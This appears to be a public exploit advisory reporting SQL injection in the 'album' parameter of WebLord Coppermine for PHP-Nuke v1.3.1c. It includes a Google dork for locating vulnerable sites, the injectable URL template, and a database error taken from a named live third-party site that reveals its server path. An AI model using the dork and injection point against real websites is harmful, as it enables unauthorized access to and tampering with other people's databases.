################################################################### # Exploit Title : WebLord WL-Nuke Coppermine for PHP-Nuke v1.3.1c SQL Injection # Author [ Discovered By ] : KingSkrupellos # Team : Cyberizm Digital Security Army # Date : 14/06/2019 # Vendor Homepage : pcnuke.com - weblord.it - phpnuke.org # Information Link : forum.coppermine-gallery.net # Software Version : v1.3.1c # Tested On : Windows and Linux # Category : WebApps # Exploit Risk : Medium # Google Dorks : intext:Engine PHP-Nuke - Powered by WL-Nuke site:it # Vulnerability Type : CWE-89 [ Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') ] # PacketStormSecurity : packetstormsecurity.com/files/authors/13968 # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/ # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos ################################################################### # Impact : *********** WebLord Coppermine for PHP-Nuke v1.3.1c is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. A remote attacker can send a specially crafted request to the vulnerable application and execute arbitrary SQL commands in application`s database. Further exploitation of this vulnerability may result in unauthorized data manipulation. An attacker can exploit this issue using a browser or with any SQL Injector Tool. ################################################################### # SQL Injection Exploit : ********************** /sci/modules.php?name=coppermine&file=thumbnails&op=modload&album=[SQL Injection]&page=&sort=ra /PATH-HERE/modules.php?name=coppermine&file=thumbnails&op=modload&album=[SQL Injection]&page=&sort=ra ################################################################### # Example SQL Database Error : **************************** There was an error while processing a database query. While executing query "SELECT pid, filepath, filename, p.title, keywords, url_prefix, filesize, pwidth, pheight, ctime, p.aid, p.title, caption, hits, description from nuke_cpg_pictures as p INNER JOIN nuke_cpg_albums AS a ON (a.aid = 3 AND visibility IN (0,3,3,10001)) WHERE p.aid='3' AND approved='YES' ORDER BY pic_rating ASC LIMIT -12 ,12" on 0 mySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-12 ,12' at line 1 File: /web/htdocs/www.sciclubsesto.it/home/sci/modules/coppermine/include/functions.inc - Linea: 107 ################################################################### # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team ###################################################################